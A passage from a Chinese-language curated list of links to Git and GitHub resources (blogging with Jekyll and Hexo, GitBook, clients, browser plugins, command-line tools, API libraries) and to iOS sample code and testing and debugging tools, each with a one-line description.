* [github-cheat-sheet](https://github.com/tiimgreen/github-cheat-sheet) - 一些酷酷的Git和GitHub功能收集.
* [jekyll官方文档中文翻译版](http://jekyllcn.com/) - 将纯文本转换为静态博客网站.
* [搭建一个免费的，无限流量的Blog----github Pages和Jekyll入门](http://www.ruanyifeng.com/blog/2012/08/blogging_with_jekyll.html) - 示范如何在github上搭建Blog，你可以从中掌握github的Pages功能，以及Jekyll软件的基本用法。更重要的是，你会体会到一种建立网站的全新思路.
* [免费使用Jekyll+Github Page搭建博客入门攻略](http://www.cellier.me/2015/01/04/jekyll%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2%E6%95%99%E7%A8%8B/) - Jekyll建站
* [jekyll 学习资料整理](https://github.com/mba811/jekyll-study) - 在学习的同时将内容整理很多相关资料.
* [jekyll-style-guide](http://ben.balter.com/jekyll-style-guide/) - jekyll-style-guide.
* [hexo你的博客](http://ibruce.info/2013/11/22/hexo-your-blog/) - hexo出自台湾大学生[tommy351](https://twitter.com/tommy351)之手，是一个基于Node.js的静态博客程序，其编译上百篇文字只需要几秒.
* [如何搭建一个独立博客——简明Github Pages与Hexo教程](http://www.jianshu.com/p/05289a4bc8b2) - 详尽的独立博客搭建教程，里面介绍了域名注册、DNS设置、github和Hexo设置等过程.
* [Hexo中文版](https://hexo.io/zh-cn/) - hexo官网中文版.
* [像geek一样写博客](http://wiki.jikexueyuan.com/project/github-page/) - 结合了Octopress.
#### GitBook@
* [GitBook简明教程](http://www.chengweiyang.cn/gitbook/index.html) - 本教程主要围绕 GitBook 的安装，使用，集成，书籍发布，个性化以及实用插件几个方面.
* [Gitbook入门教程](https://yuzeshan.gitbooks.io/gitbook-studying/content/index.html) - 本书将简单介绍如何安装、编写、生成、发布一本在线图书,且示例全部在windows下展示(其他系统差不多一致).
* [Git教学](https://kingofamani.gitbooks.io/git-teach/content/index.html) - GIT版本控制.
* [Gitbook 使用入门](https://github.com/wwq0327/gitbook-zh) - 本书将简单介绍如何安装、编写、生成、发布一本在线图书.
* [api-guide](https://github.com/GitbookIO/api-guide) - gitbook的api文档.
#### Git文章@
* [如何高效利用GitHub](http://www.yangzhiping.com/tech/github.html) - 本文尝试谈谈GitHub的文化、技巧与影响.
* [GitHub连击500天：让理想的编程成为习惯](https://www.phodal.com/blog/github-500-program-as-usual/) - phodal对于GitHub的看法.
* [Github装逼指南——Travis CI 和 Codecov](https://segmentfault.com/a/1190000004415437) - 关于持续集成和统计单测覆盖率.
* [如何用Github去管理你的Idea](http://zhuanlan.zhihu.com/phodal/20442311) - 用Github的README.md和Issues来管理我的idea.
* [GitHub开源项目负责人谈开源](http://www.infoq.com/cn/news/2015/10/GitHub-OpenSource) - Brandon就其与开源的缘分、当前工作的职责、GitHub及员工与开源的关系等方面的问题一一进行了回答.
* [亲爱的GitHub](https://github.com/dear-github/dear-github) - 致GitHub的一封公开信.
* [thank-you-github](https://github.com/thank-you-github/thank-you-github) - 一封从GitHub毕业的公开信.
* [用Github issues作为blog的例子](https://github.com/lifesinger/blog/labels/blog)- 用Github issues作为blog的例子.
* [2014年GitHub 中国开发者年度报告](http://githuber.info/report) - 使用python分析数据后的报告.
* [Gist介绍与用法](http://platinhom.github.io/2015/11/26/gist/) - Gist https://gist.github.com/ 是Github的一个子服务.
* [最活跃的GitHub用户](https://gist.github.com/paulmillr/2657075/) - 想看最活跃用户可以看这里.
* [10个立即提高你生产力的GitHub技能](http://usersnap.com/blog/github-hacks-productivity/)
* [Top 10 Git Tutorials for Beginners](http://sixrevisions.com/resources/git-tutorials-beginners/) - 教你使用git最好的10本书.
* [使用GitHub进行团队合作](http://xiaocong.github.io/blog/2013/03/20/team-collaboration-with-github/) - 译文.
* [一键收藏至Github](http://www.jianshu.com/p/19d2f3a3b5d8) - 通过 Rails 收藏文章，并自动提交至 github.
* [Github Hacking](http://www.jianshu.com/p/d6b54f1d60f1) - Github的各种黑客技能.
* [如何参与一个GitHub开源项目？](http://www.csdn.net/article/2014-04-14/2819293-Contributing-to-Open-Source-on-GitHub) - 如何参与一个GitHub开源项目?
* [试译：开源项目成功的十条准则](http://www.zhuangbiaowei.com/blog/?cat=31) -作者将自己30年来的开发经验，总结为开源软件的十条成功法则。
* [漫谈Github与开源](http://www.wdk.pw/802.html) -本文作者为大二在读Geek学生关于GitHub与开源的理解。
* [关于Pull Request的十个建议](http://blog.ploeh.dk/2015/01/15/10-tips-for-better-pull-requests/) - 作者Mark Seemann.
* [Github上都有哪些有用但不为大家熟知的小功能？](https://www.zhihu.com/question/36974348)
* [如果你用GitHub，可以这样提高效率](http://huang-jerryc.com/2016/01/15/%E5%A6%82%E6%9E%9C%E4%BD%A0%E7%94%A8GitHub%EF%BC%8C%E5%8F%AF%E4%BB%A5%E8%BF%99%E6%A0%B7%E6%8F%90%E9%AB%98%E6%95%88%E7%8E%87/) - 基于Github，搭建一整套代码管理服务
* [如何选择开源许可证？](http://www.ruanyifeng.com/blog/2011/05/how_to_choose_free_software_licenses.html) - 六种开源协议GPL、BSD、MIT、Mozilla、Apache和LGPL之间的区别.
* [如何用好github中的watch、star、fork](http://www.jianshu.com/p/6c366b53ea41) - 介绍watch、star、fork的具体作用.
* [git-commit-guide](https://github.com/bluejava/git-commit-guide) - git commit message 指南.
* [git操作是不是很难记住？](http://www.jianshu.com/p/e870fdd971fc) - 笔者试着分类git的常用操作，方便同样是刚入门git的你查阅.
* [GUI for git|SourceTree|入门基础](http://www.jianshu.com/p/be9f0484af9d) - SourceTree简介.
* [话说Svn与Git的区别](http://www.jianshu.com/p/bfec042349ca) - SVN的特点是简单，只是需要一个放代码的地方时用是OK的。Git的特点版本控制可以不依赖网络做任何事情，对分支和合并有更好的支持.
* [多用Git少交税](http://www.jianshu.com/p/8a985c622e61)
* [Git版本控制与工作流](http://www.jianshu.com/p/67afe711c731) - 针对git版本控制和工作流的总结.
* [在github上写博客](http://www.jianshu.com/p/1260517bbedb)
* [GitHub & Bitbucket & GitLab & Coding 的对比分析](http://blog.flow.ci/github-bitbucket-gitlab-coding)
#### GithubRank@
* [GitHub Rank (China)](http://githubrank.com/) - GitHub上中国程序员的排名网站，根据follower.
* [GitHub Ranking | GitHub Awards](http://github-awards.com/) - GitHub上程序员的排名网站，根据star.
* [GitHub Ranking](https://github-ranking.com/) - GitHub用户和仓库排名，根据star，不区分语言.
* [diycode - GitHub Ranking](http://www.diycode.cc/trends) - GitHub 全球 Developers, Organizations and Repositories 排行榜.
#### 桌面工具@
* [ohmystar](http://www.ohmystarapp.com/) - Mac上管理你GitHub star的工具
* [GithubPulse](https://github.com/tadeuzagallo/GithubPulse) - OS X状态栏的APP，帮你记住你在GitHub每天的贡献.
* [githubtrending](http://www.githubtrending.com/) - OS X状态栏的APP，显示GitHub Trending，也有iOS端.
* [ghstatus](https://itunes.apple.com/cn/app/ghstatus/id883585153?mt=12) - OS X状态栏的APP，显示GitHub Status.
* [pophub](http://questbe.at/pophub/) - OS X状态栏的APP，显示GitHub 的activities.
* [git-dude](https://github.com/sickill/git-dude) - git commit通知.
* [gitee](https://github.com/Nightonke/Gitee) - Gitee, OS X status bar application for Github 漂亮的GitHub数据统计工具，还有notifications功能.
#### Github客户端@
* [MVVMReactiveCocoa](https://github.com/leichunfeng/MVVMReactiveCocoa) - GitBucket iOS App，一个GitHub第三方客户端.
* [Monkey](https://github.com/coderyi/Monkey) - Monkey是一个GitHub第三方iOS客户端，主要是用来展示GitHub上的开发者的排名，以及仓库的排名.
* [react-native-gitfeed](https://github.com/xiekw2010/react-native-gitfeed) - 一个React Native写的Github客户端，支持iOS和Android.
* [githot](https://github.com/andyiac/githot) - GitHot是一个Android App,用来发现世界上最流行的项目和人.
* [CodeHub](https://github.com/thedillonb/CodeHub) - CodeHub是C#写的，它是iOS设备上最好的GitHub仓库浏览和维护工具.
* [ioctocat](https://github.com/dennisreimann/ioctocat) - GitHub的iOS客户端.
* [napcat](https://itunes.apple.com/cn/app/napcat-github-client-for-open/id606238223?mt=8) - 一个比较全面的GitHub的iOS客户端.
* [RepoStumble](https://github.com/thedillonb/RepoStumble) - 查看GitHub仓库的手机客户端.
* [GithubTrends](https://github.com/laowch/GithubTrends) - Material Design风格的查看GitHub仓库trending app.
* [ForkHub](https://github.com/jonan/ForkHub) - Android平台的GitHub客户端.
* [GitEgo](https://github.com/hrules6872/GitEgo) - Android平台的GitHub客户端.
* [Sources](https://github.com/vulgur/Sources) - 一个极简的 Github 客户端，Sources。内置几十个语法高亮的主题可供选择.
* [igithub](https://github.com/schacon/igithub) - github 的iOS端.
* [gitmonitor-ios](https://github.com/theotow/gitmonitor-ios) - 一个通知你不用再push代码的iOS app.
* [GithubWidget](https://github.com/Nightonke/GithubWidget) - 轻量级显示Github用户的贡献、星数、Follower数、热门仓库的App.
* [GitPocket](https://github.com/jindulys/GitPocket) - Swift编写GitHub客户端.
* [GitHubContributionsiOS](https://github.com/JustinFincher/GitHubContributionsiOS) - 显示你的GitHub Contributions的Today Extension,App Store链接,[Contributions for GitHub](https://itunes.apple.com/us/app/contributions-for-github/id1153432612?l=zh&ls=1&mt=8).
* [PPHub](https://github.com/jkpang/PPHub-Feedback) - 一个漂亮的GitHub iOS客户端, 使用Swift编写
#### Github插件@
* [octotree](https://github.com/buunguyen/octotree) - 浏览器扩展，树状格式显示GitHub的代码.
* [octo-linker](https://github.com/octo-linker/chrome-extension) - 这款谷歌 Chrome 扩展允许您轻松地浏览 GitHub.com 上的文件和包.
* [github-hovercard](https://github.com/Justineo/github-hovercard) - GitHub Hovercard 是一个浏览器扩展，实现了展示用户在 Github 上信息的信息卡功能，支持 Firefox 和 Chrome 浏览器.
* [notifier-for-github-chrome](https://github.com/sindresorhus/notifier-for-github-chrome) - 一个浏览器扩展，它能显示 Github 通知的未读数量.
* [github-menu-back](https://github.com/summerblue/github-menu-back) - 一款修改 GitHub 导航栏为之前状态的 Chrome 插件.
* [gitsense-extensions](https://github.com/gitsense/gitsense-extensions) - GitSense 是一个 Chrome 插件，可以让你在浏览 Github 的时候体验更好.
* [git-draw](https://github.com/ben174/git-draw) - 谷歌 Chrome 扩展，给GitHub提交历史画个画.
* [ShowInGitHub](https://github.com/larsxschneider/ShowInGitHub) - Xcode插件，打开选中行的GitHub提交页面.
* [Reveal-In-GitHub](https://github.com/lzwjava/Reveal-In-GitHub) - 有关GitHub的Xcode插件.
* [Visual Studio](https://github.com/github/VisualStudio) - 有关GitHub的Visual Studio插件.
* [github-sublime-theme](https://github.com/AlexanderEkdahl/github-sublime-theme) - GitHub Sublime 主题.
* [GitHubinator](https://github.com/ehamiter/GitHubinator) - sublime插件，显示选中文本上的远程GitHub仓库.
* [alfred-github-workflow](https://github.com/gharlan/alfred-github-workflow) - Alfred 2上使用GitHub命令.
* [ZenHub](https://github.com/ZenHubIO/support) -ZenHub 能优化你的 GitHub 工作流，是轻量级的 Chrome 浏览器插件.
* [github-gmail](https://github.com/muan/github-gmail) - 在Gmail内快速打开GitHub的通知.
* [chrome-github-avatars](https://github.com/anasnakawa/chrome-github-avatars) - 谷歌Chrome扩展，可以让你的GitHub主页显示用户的头像.
* [tab-size-on-github](https://github.com/sindresorhus/tab-size-on-github) - 谷歌Chrome和Opera扩展，让代码缩进为4个空格而不是8个.
* [hide-files-on-github](https://github.com/sindresorhus/hide-files-on-github) - 谷歌Chrome和Opera扩展，隐藏点文件.
* [github-highlight-selected](https://github.com/Nuclides/github-highlight-selected) - 谷歌Chrome和Safari扩展，代码高亮，看起来像sublime.
* [github-awesome-autocomplete](https://github.com/algolia/github-awesome-autocomplete) - 谷歌Chrome和Safari以及Firefox扩展，在GitHub的搜索栏加入自动补全功能.
* [chrome-github-mate](https://github.com/rubyerme/chrome-github-mate) - 谷歌Chrome扩展，下载单个文件.
* [Pages2Repo](https://github.com/Frozenfire92/Pages2Repo) - 谷歌Chrome扩展，通过GitHub Pages网站就能访问仓库.
* [lovely-forks](https://github.com/musically-ut/lovely-forks) - 谷歌Chrome扩展，显示fork你仓库中star最多的.
* [github-pr-filter](https://github.com/danielhusar/github-pr-filter) - 谷歌Chrome扩展，在pr中过滤文件.
* [github-ast-viewer](https://github.com/lukehorvat/github-ast-viewer) - 谷歌Chrome扩展，增加代码的抽象语法树.
* [github-canned-responses](https://github.com/notwaldorf/github-canned-responses) - 谷歌Chrome扩展，评论pr或者issue的时候有一些可选项.
* [categoric](https://github.com/ozlerhakan/categoric) - 谷歌Chrome扩展，为你的通知分类.
* [octo-preview](https://github.com/DrewML/octo-preview) - 谷歌Chrome扩展，预览你评论的markdown内容.
* [GifHub](https://github.com/DrewML/GifHub) - 谷歌Chrome扩展，GifHub一个往GitHub评论里边插入Gif动画的Chrome插件.
* [star-history-plugin](https://github.com/timqian/star-history-plugin) - 查看仓库star历史的插件.
* [open-on-github](https://github.com/atom/open-on-github) - atom插件，打开文件在github.com.
* [refined-github](https://github.com/sindresorhus/refined-github) - chrome插件，简化你的github，增加了一些可用的功能.
* [gitpress](https://github.com/enricob/gitpress) - github的wordpress插件，用于列出用户的仓库.
* [jquery-github](https://github.com/zenorocha/jquery-github) - jquery的插件显示github仓库.
* [sublime-text-git](https://github.com/kemayo/sublime-text-git) - sublime的git插件.
* [git-plugin](https://github.com/jenkinsci/git-plugin) - jenkins的git插件.
* [github-oauth-plugin](https://github.com/jenkinsci/github-oauth-plugin) - jenkins的github oauth登录插件.
* [twitter-for-github](https://github.com/bevacqua/twitter-for-github) - 在github上显示用户twitter的chrome插件.
* [Hudson-GIT-plugin](https://github.com/magnayn/Hudson-GIT-plugin) - Hudson上的GIT插件.
* [git-time-machine](https://github.com/littlebee/git-time-machine) - atom插件查看提交历史.
* [GitDiff](https://github.com/johnno1962/GitDiff) - Xcode插件.
* [vim-gitgutter](https://github.com/airblade/vim-gitgutter) - git的vim 插件.
#### Git平台与工具@
* [git](https://github.com/git/git) - git源码.
* [sourcetree](https://www.atlassian.com/software/sourcetree) - Windows 和Mac OS X 下免费的 Git客户端.
* [gitbucket](https://github.com/gitbucket/gitbucket) - Scala编写的开源Git平台，扩展性好，兼容GitHub.
* [gogs](https://github.com/gogits/gogs) - Gogs (Go Git Service) 是一款极易搭建的自助 Git 服务.
* [gitlab](https://github.com/gitlabhq/gitlabhq) - 一个用于仓库管理系统的开源项目.
* [git-annex](https://github.com/joeyh/git-annex) - git管理大文件.
* [gitx](https://github.com/pieter/gitx) - Mac平台上的Git GUI客户端.
* [gity](https://github.com/beheadedmyway/gity) - mac的git客户端.
* [svn2git](https://github.com/nirvdrum/svn2git) - ruby 实现的迁移svn工程到git.
* [stupidgit](https://github.com/gyim/stupidgit) - python编写的git的跨平台GUI.
* [GitUp](https://github.com/git-up/GitUp) - Objective-C编写的Mac上的Git客户端.
#### 命令行@
* [hub](https://github.com/github/hub) - github官方出品的命令行工具，让你更好地使用github.
* [gitflow](https://github.com/nvie/gitflow) Git extensions to provide high-level repository operations for Vincent Driessen's branching model.
* [gh](https://github.com/jingweno/gh) - gh 是一个用 Go 语言开发的 Github 命令行客户端.
* [node-gh](https://github.com/node-gh/gh) - Node GH 是基于 Node.js 编写的 Github 命令行工具.
* [gitsome](https://github.com/donnemartin/gitsome/) - supercharged Github Client.
* [git-blame-someone-else](https://github.com/jayphelps/git-blame-someone-else) - 吐槽别人的烂代码.
* [git-pulls](https://github.com/schacon/git-pulls) - github pull requests的命令后行工具.
* [git-scribe](https://github.com/schacon/git-scribe) - 写电子书的命令行工具.
* [github-gem](https://github.com/defunkt/github-gem) - github命令行工具.
* [ghterm](https://github.com/github-archive/ghterm) - github终端.
* [git-sh](https://github.com/rtomayko/git-sh) - 适合git的bash工作环境.
* [legit](https://github.com/kennethreitz/legit) - 灵感来自于github for mac的git 命令行工具.
* [git-sweep](https://github.com/arc90/git-sweep) - git命令行工具，帮助你清理已经merge到master的分支.
* [github-email](https://github.com/paulirish/github-email) - 获取用户的邮箱.
* [git-town](https://github.com/Originate/git-town) Generic, high-level Git workflow support.
* [git-fire](https://github.com/qw3rtman/git-fire) - 紧急情况下保存代码.
* [gitsome](https://github.com/donnemartin/gitsome) - Git/GitHub命令行工具.
* [maintainer](https://github.com/gaocegege/maintainer) - 让你的 GitHub repo 对开发者更加友好的命令行工具.
#### Github项目@
* [resume.github.com](https://github.com/resume/resume.github.com) - 根据用户的github信息生成简历
* [github-trending](https://github.com/josephyzhou/github-trending) - 记录下GitHub历史上的每日trending.
* [GitHub-Dark](https://github.com/StylishThemes/GitHub-Dark) - 黑色的GitHub网站风格.
* [github-gists](https://github.com/kevva/github-gists) - 拿到一个GitHub用户的所有gist.
* [Get-Your-GitHub-Card](https://github.com/codesboy/Get-Your-GitHub-Card) - 基于jquery拿到你的GitHub用户资料.
* [ohmyrepo](https://github.com/no13bus/ohmyrepo) - 一个 GitHub 仓库分析工具.
* [greenhat](https://github.com/4148/greenhat) - 一个让GitHub全绿的“旁门左道”的东西.
* [gitfiti](https://github.com/gelstudios/gitfiti) - 滥用github提交历史.
* [Github-profile-name-writer](https://github.com/ironmaniiith/Github-profile-name-writer) - 把github提交历史变成你的名字.
* [github-contributions](https://github.com/IonicaBizau/github-contributions) - 可以让你的 github 提交日历排出有趣的图案.
* [github-corners](https://github.com/tholman/github-corners) - 显示 "Fork me on GitHub".
* [GitHub-jQuery-Repo-Widget](https://github.com/JoelSutherland/GitHub-jQuery-Repo-Widget) - 一个GitHub风格的挂件，方便在页面中展示GitHub项目.
* [GitHub Archive](https://github.com/igrigorik/githubarchive.org) - GitHub Archive 是一个记录GitHub时间线的项目.
* [github-cards](https://github.com/lepture/github-cards) - GitHub Cards 用来展示你的简介.
* [githut](https://github.com/littleark/githut) - 可视化了GitHub Archive的数据.
* [lolcommits](https://github.com/mroth/lolcommits) - 每次提交Git都自拍一张.
* [github-selfies](https://github.com/thieman/github-selfies) - Github Selfies 可以在你 Github 的需求和贡献上加上你的自拍照.
* [badges](https://github.com/boennemann/badges) - 收集GitHub上readme页显示的与javascript有关的各种徽章.
* [MediumArticles](http://www.jianshu.com/p/19d2f3a3b5d8) - 一键收藏至Github.
* [GitHunt](https://github.com/apollostack/GitHunt) - 为你喜欢的仓库投票的项目.
* [githug](https://github.com/Gazler/githug) - 通过游戏的方式来练习Git的命令行工具.
* [css3-github-buttons](https://github.com/necolas/css3-github-buttons) - 帮助你创建github风格的 button.
* [git-crypt](https://github.com/AGWA/git-crypt) - git加密.
* [is-github-down](https://github.com/sindresorhus/is-github-down) - 检查github有没有down机.
* [miaopull](https://github.com/aquarhead/miaopull) - 自动化pull工具.
* [go-git](https://github.com/src-d/go-git)- 通过go来从git服务器读取仓库.
* [GitViz](https://github.com/Readify/GitViz) - 帮助你训练git时的可视化工具.
* [learnGitBranching](https://github.com/pcottle/learnGitBranching) - 学习git的可视化工具.
#### Git库@
* [octokit](https://github.com/octokit) - GitHub API的官方封装库.
* [GitHub Java API (org.eclipse.egit.github.core)](https://github.com/eclipse/egit-github/tree/master/org.eclipse.egit.github.core) - eclipse出品，Java写的GitHub API的封装库.
* [github - michael](https://github.com/michael/github) - JavaScript写的GitHub API的封装库.
* [PyGithub](https://github.com/PyGithub/PyGithub) - Python的GitHub API封装库.
* [UAGithubEngine](https://github.com/owainhunt/uagithubengine) - Objective-C的GitHub API封装库.
* [RxGitHubAPI](https://github.com/FengDeng/RxGitHubAPI) - 基于RxSwift的GitHub API封装库.
* [GitHub API for Java](http://github-api.kohsuke.org/) - 面向对象的GitHub API库.
* [GitHubObjC](https://github.com/ernstsson/GitHubObjC) - Objective-C实现的GitHub API库.
* [go-github](https://github.com/google/go-github) - Go实现的GitHub API库.
* [ruby-github](https://github.com/peter-murach/github) - Ruby实现的GitHub API库.
* [libgit2](https://github.com/libgit2/libgit2) - Git核心库，通过它可以写一个自己的git应用.
* [Gift](https://github.com/modocache/Gift) - 通过Swift绑定libgit2，通过它你可以clone一个仓库，查看commit，提交等.
* [gitkit-js](https://github.com/SamyPesse/gitkit-js) - gitkit-js，SamyPesse开源的git的javascript实现，包含一系列API,可以管理git仓库，包括读文件，commit， clone，push，fetch等，可以工作在浏览器和node.js上.
* [github3.py](https://github.com/sigmavirus24/github3.py) - GitHub API v3的python接口.
* [PyGithub](https://github.com/PyGithub/PyGithub) - GitHub API v3的python接口.
* [github-backup](https://github.com/joeyh/github-backup) - 备份GitHub仓库，包括branches, tags, other forks, issues, comments, wikis, milestones, pull requests, watchers, stars. 通过haskell编写.
* [github - Haskell](https://github.com/PyGithub/PyGithub) - GitHub API 的Haskell接口.
* [objective-git](https://github.com/schacon/objective-git) - Git的Objective-C实现.
* [node-gitlab](https://github.com/node-gitlab/node-gitlab) - gitlab的node api.
* [php-github-api](https://github.com/KnpLabs/php-github-api) - php的github api.
* [cocoagit](https://github.com/geoffgarside/cocoagit) - git的objetive-c实现.
* [ruby-github](https://github.com/mbleigh/ruby-github) - mbleigh写的ruby的github api.
* [Git.framework](https://github.com/geoffgarside/Git.framework) - mac os x 平台的objective-c的git实现.
* [pygit2](https://github.com/libgit2/pygit2) - libgit2的python版.
* [git.js](https://github.com/danlucraft/git.js) - git的js实现.
* [nodegit](https://github.com/nodegit/nodegit) - git的node实现.
* [GitSharp](https://github.com/henon/GitSharp) - .Net实现的git.
* [erlangit](https://github.com/schacon/erlangit) - erlang 的git实现.
* [github4j](https://github.com/defunct/github4j) - 一个github 下载的java api.
* [libgit2sharp](https://github.com/libgit2/libgit2sharp) - .Net实现的git.
* [Gift](https://github.com/modocache/Gift) - Swift编写的git实现.
* [SwiftGit2](https://github.com/SwiftGit2/SwiftGit2) - Swift编写的git实现.
* [GithubPilot](https://github.com/jindulys/GithubPilot) - Swift的GitHub API 封装.
* [GitYourFeedback](https://github.com/gabek/GitYourFeedback) - 让你可以直接在iOS App内feedback时向GitHub提交issue.
#### Github浏览器工具@
* [awesome-browser-extensions-for-github](https://github.com/stefanbuck/awesome-browser-extensions-for-github) GitHub浏览器扩展收集列表.
#### 版本新API的Demo@
* [appleSample](https://github.com/WildDylan/appleSample) - iOS 苹果官方Demo合集， [官方demo](https://developer.apple.com/library/ios/navigation/#section=Resource%20Types&topic=Sample%20Code).
* [iOS7-Sampler](https://github.com/shu223/iOS7-Sampler) - 整合了iOS7.0的一些十分有用的特性，比如：Dynamic Behaviors、碰撞检测、语音合成、视图切换、图像滤镜、三维地图、Sprite Kit（动画精灵）、Motion Effect（Parallax）、附近蓝牙或者wifi搜索连接、AirDrop、运动物体追踪（iPhone 5S以上，需要M7处理器）等等。对于日常的应用开发十分实用。
* [iOS8-Sampler](https://github.com/shu223/iOS8-Sampler) - 日本的shuさん制作的 iOS8 参考代码集。01.Audio Effects ；02.New Image Filters；03.Custom Filters；04.Metal Basic；05.Metal Uniform Streaming；06.SceneKit；07.HealthKit；08.TouchID；09.Visual Effects；10.WebKit；11.UIAlertController；12.User Notification；13.Pedometer；14.AVKit；15.Histogram；16.Code Generator；17.New Fonts；18.Popover；19.Accordion Fold Transition
* [iOS-9-Sampler](https://github.com/shu223/iOS-9-Sampler) - 通过实例介绍了iOS 9 SDK中重要新特性的使用。
* [iOS 9 分屏多任务](http://www.cocoachina.com/ios/20150714/12557.html) - iOS 9 分屏多任务：Slide Over & Split View快速入门（中文版）。
* [Search-APIs](https://github.com/fish-yan/Search-APIs) - iOS 9 学习系列: SearchAPIs。[教程](http://blog.csdn.net/fish_yan_/article/details/50635433)
#### 版本适配@
* [iOS9AdaptationTips](https://github.com/ChenYilong/iOS9AdaptationTips) iOS9适配系列教程
#### 深度链接@
* [DeepLinkKit](https://github.com/button/DeepLinkKit) - 深度链接，A splendid route-matching, block-based way to handle your deep links.
#### 测试调试@
* [FLEX](https://github.com/Flipboard/FLEX) 非常赞👍👍👍 的 一个Xcode界面调试工具，FLEX是一个需要注入式的一种框架，从描述来看，功能非常多。主要来讲的话能够对正在运行的应用进行样式的修改和控件的读取。FLEX会赐予你SuperPower！！！
1. 可以查看控件的坐标和属性
2. 看任何一个对象的属性和成员变量
3. 动态修改属性和成员变量
4. 动态的调用实例和类方法
FLEX正因为是注入式的，所以不需要在链接LLDB或者Xocde，或者是远程的调试服务器，它可以在本地随时随地的进行自有的操作和调试
* [Quick](https://github.com/Quick/Quick) - 非常赞👍👍👍 用于Swift中的单元测试（也可用于Objective-C），与Xcode整合在一起。如果你是Objective-C的粉丝，我建议用Specta代替这个，但是对Swift使用者来说，Quick是最佳选择.
* [commandLine](https://github.com/jlevy/the-art-of-command-line/blob/master/README-zh.md) - 五万星登顶，程序员命令行最全技巧宝典.
* [KIF](https://github.com/kif-framework/KIF) - 是一个开源的用户界面UI测试框架. 使用 KIF, 并利用 iOS中的辅助功能 API, 你将能够编写模拟用户输入，诸如点击，触摸和文本输入，自动化的UI测试.
* [FBSimulatorControl](https://github.com/facebook/FBSimulatorControl) - 支持同时启动多个模拟器的库，FaceBook出品.
* [calabash-ios](https://github.com/calabash/calabash-ios) - 自动测试 Calabash is an automated testing technology for Android and iOS native and hybrid applications.
* [Buildasaur](https://github.com/czechboy0/Buildasaur) 自动测试框架 Automatic testing of your Pull Requests on GitHub and BitBucket using Xcode Server. Keep your team productive and safe. Get up and running in minutes. @buildasaur
* [CocoaLumberjack](https://github.com/CocoaLumberjack/CocoaLumberjack) - 是一个快速、简单，但很强大的日志框架，可以自定义打印日志的颜色.
* [MLeaksFinder](https://github.com/Tencent/MLeaksFinder) - 内存泄露检测工具.
* [AMLeaksFinder](https://github.com/liangdahong/AMLeaksFinder) - 一款用于自动检测 iOS 项目中【控制器内存泄漏，View 内存泄漏】的小工具，支持 ObjC，Swift.
* [CocoaDebug](https://github.com/CocoaDebug/CocoaDebug) - iOS内置调试工具(日志打印/网络监控/内存监控/沙盒查看...)[兼容Swift和Objective-C].
* [IPAPatch](https://github.com/Naituw/IPAPatch) 免越狱调试、修改第三方App，👍👍 .
* [DBDebugToolkit](https://github.com/dbukowski/DBDebugToolkit) - Set of easy to use debugging tools for iOS developers & QA engineers.
* [DoraemonKit](https://github.com/didi/DoraemonKit) - 一个不错的可视化调试、各种测试工具.
* [iOS-Performance-Optimization](https://github.com/skyming/iOS-Performance-Optimization) - 关于iOS 性能优化梳理、内存泄露、卡顿、网络、GPU、电量、 App 包体积瘦身、启动速度优化等、Instruments 高级技巧、常见的优化技能- Get — Edit.
* [FBMemoryProfiler](https://github.com/facebook/FBMemoryProfiler) - Facebook出品,内存检测库.FBMemoryProfiler 基础教程](http://ifujun.com/fbmemoryprofiler-shi-yong-ji-chu-jiao-cheng/)。(https://swiftcafe.io/2017/05/02/mem-profiler/?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io)
* [xctool](https://github.com/facebook/xctool) - Facebook出的自动化打包工具，它规范了输出的log日志，而且一些错误信息也更为清晰一些.
* [MSLeakHunter](https://github.com/mindsnacks/MSLeakHunter) - 自动检测 UIViewController 和 UIView 对象的内存泄露。Find memory leaks in your iOS app at develop time. [MLeaksFinder 的使用参照](https://github.com/Zepo/MLeaksFinder).
* [chisel](https://github.com/facebook/chisel) - Chisel扩展了一些列的lldb的命令来帮助iOS开发者调试iOS应用程序.
* [PonyDebugger](https://github.com/square/PonyDebugger) - 由 Square 公司推出的一款优秀的 iOS 应用网络调试工具, 用户可以实时看到应用程序的网络请求, 也可以对 iOS 应用程序的核心数据栈进行远程调试.
* [ViewMonitor](https://github.com/daisuke0131/ViewMonitor) - 能够帮助 iOS 开发者们精确的测量视图, 可直接在调试应用中查看具体某个视图的坐标, 宽高等参数.
* [pxctest](https://github.com/plu/pxctest) - Execute tests in parallel on multiple iOS Simulators 在多个 iOS 模拟器上并行测试.
* [ios-snapshot-test-case](https://github.com/facebookarchive/ios-snapshot-test-case) - 保持它的功能 - 在iOS功能测试框架.
* [dSYMTools](https://github.com/answer-huang/dSYMTools) - 友盟 dSYM analyze 备用地址[https://github.com/mrhyh/dSYMTools].
* [HeapInspector](https://github.com/tapwork/HeapInspector-for-iOS) - HeapInspector是一个用于检测应用中的内存泄漏的开源调试工具.
* [UIViewController-Swizzled](https://github.com/RuiAAPeres/UIViewController-Swizzled) - 把你进入的每一个controller的类名打出来,如果看一些特别复杂的项目的时候直接运行demo就可以知道执行次序了.
* [MTHawkeye](https://github.com/meitu/MTHawkeye) - Profiling / Debugging assist tools for iOS.
* [YourView](https://github.com/TalkingData/YourView) - YourView is a desktop App in MacOS based on Apple SceneKit. You may use it to view iOS App's view hierarchy 3D.
* [snoop-it](https://code.google.com/archive/p/snoop-it/) - snoop-it比UIViewController-Swizzled好用，代码托管在google上。
* [Versions](https://github.com/zenangst/Versions) - 版本比较小工具.
* [MobileWebPageTest](http://code4app.com/ios/MobileWebPerformanceTest/5465d3e9933bf00c658b4f43) - MobileWebPageTest是用来测试移动网页性能的软件，它可以对页面的加载和渲染过程进行截屏，协助开发者分析出页面性能瓶颈.
* [ios-snapshot-test-case](https://github.com/uber/ios-snapshot-test-case) - Snapshot view unit tests for iOS.
* [WebDriverAgent](https://github.com/facebook/WebDriverAgent) - Facebook 推出了一款新的iOS移动测试框架 A WebDriver server for iOS that runs inside the Simulator.
* [specta](https://github.com/specta/specta) - TDD或BDD，objective-c语言的测试框架，用的人多.
* [cedar](https://github.com/pivotal/cedar) - TDD或BDD，objective-c语言的测试框架，用的人少.
* [cedar](https://github.com/cedarbdd/cedar) - BDD-style testing using Objective-C.
* [KKLog](https://github.com/Coneboy-k/KKLog) - 一个日志管理系统.
* [Buildasaur](https://github.com/czechboy0/Buildasaur) - 自动测试框架 Buildasaur.
* [使用Quick框架和Nimble来测试ViewControler](http://www.devtf.cn/?p=739) - Quick是一个用于创建BDD测试的框架。配合Nimbl，可以为你创建更符合预期目标的测试.
